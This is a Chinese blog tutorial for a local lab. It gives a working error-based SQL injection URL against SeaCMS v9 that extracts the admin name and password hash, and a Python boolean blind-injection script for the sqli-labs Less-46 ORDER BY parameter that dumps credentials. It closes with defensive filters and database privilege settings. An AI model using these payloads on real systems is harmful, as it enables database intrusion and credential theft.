seacmsv9注入管理员账号密码+orderby+limit

seacmsv9注入管理员账号密码

安装海洋CMS(seacms)

  1. 将upload文件夹里的文件全部上传至网页服务器后,执行以下操作:
    在这里插入图片描述

  2. 请运行http://域名/install/index.php进行程序安装

在这里插入图片描述
在这里插入图片描述

SQL语句尝试注入

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

在这里插入图片描述
没有效果,抓包后,发现执行的SQL为:

SELECT   id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`,                                        updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

因为seacms开源,所以seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为 sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

在数据库中执行一下上面的SQL
在这里插入图片描述
结果显示为空
在这里插入图片描述
将SQL语句修改为查询database()
在这里插入图片描述
结果报错出数据库名 “seacms”
在这里插入图片描述
查询表 “sea_comment”
在这里插入图片描述
发现表为空,很奇怪,所以尝试随便插入几条数据试试
在这里插入图片描述

再次执行SQL注入
在这里插入图片描述

成功报错出用户名 “admin”

在这里插入图片描述
那么密码的注入就和用户名是一样的了

SQL语句:http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@%27,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@%27``
在这里插入图片描述

报错出密码为:f297a57a5a743894a0e4
在这里插入图片描述

因为这是由md5加密的,破解得到:admin

绕过ORDER BY 注入(sqlilabs-less46)

用参数sort分别传入id、username

http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=id

在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=username

在这里插入图片描述

import requests
from bs4 import BeautifulSoup

def get_username(resp):
    """
    从HTML响应中提取用户名。
    
    :param resp: HTML响应内容
    :return: 提取的用户名
    """
    soup = BeautifulSoup(resp, 'html.parser')
    # 使用CSS选择器提取用户名
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username

def inject_database_boolen():
    """
    通过布尔盲注技术获取数据库名称。
    """
    tables = ''
    i = 1
    while True:
        left = 32  # ASCII码的最小值
        right = 127  # ASCII码的最大值
        mid = (left + right) // 2  # 二分法的中间值
        
        # 二分法查找当前字符的ASCIIwhile left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        # 如果mid等于32,表示已经到达字符串的末尾
        if mid == 32:
            break
        
        # 将找到的字符拼接到结果中
        tables += chr(mid)
        i += 1
        print(tables)

def inject_table_boolen():
    """
    通过布尔盲注技术获取数据库中的表名。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

def inject_column_boolen():
    """
    通过布尔盲注技术获取指定表中的列名。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

def inject_data_boolen():
    """
    通过布尔盲注技术获取指定表中的数据。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

if __name__ == '__main__':
    # 执行数据注入函数
    inject_data_boolen()

过滤information_schema

在 SQL 注入攻击中,information_schema是攻击者常用的数据库之一,因为它存储了关于数据库、表、列等元数据信息。攻击者可以通过查询information_schema来获取数据库结构,从而进一步实施攻击。

为了防止攻击者利用information_schema,可以采取以下措施来过滤或限制对information_schema的访问:

使用正则表达式

通过正则表达式匹配用户输入,禁止包含information_schema或其他敏感关键字。

使用preg_match函数检查用户输入中是否包含information_schema​​​​​​​(不区分大小写);如果包括,则终止程序并返回错误信息。

if (preg_match('/information_schema/i', $orderby)) {
    die('Invalid input: information_schema is not allowed');
}

限制数据库用户权限

通过限制数据库用户的权限,禁止其对information_schema​​​​​​​的访问。

使用REVOKE语句撤销数据库用户对information_schema​​​​​​​的查询权限;这样即使攻击者尝试访问information_schema​​​​​​​,也会被拒绝。

REVOKE SELECT ON information_schema.* FROM 'your_db_user'@'localhost';

底层代码过滤

在应用程序代码中,对用户输入进行严格的过滤,禁止包含information_schema的关键字。

使用stripos函数检查用户输入中是否包含information_schema​​​​​​​;如果包括,则直接终止程序并返回错误信息。

if (stripos($orderby, 'information_schema') !== false) {
    die('Invalid input: information_schema is not allowed');
}

使用只读用户

为应用程序分配一个只读用户,该用户只能访问特定的数据库和表。

创建一个新的数据库用户app_user,并为其分配对your_database的只读权限;这样即使攻击者成功注入 SQL,也无法访问information_schema​​​​​​​或其他数据库。

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON your_database.* TO 'app_user'@'localhost';
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值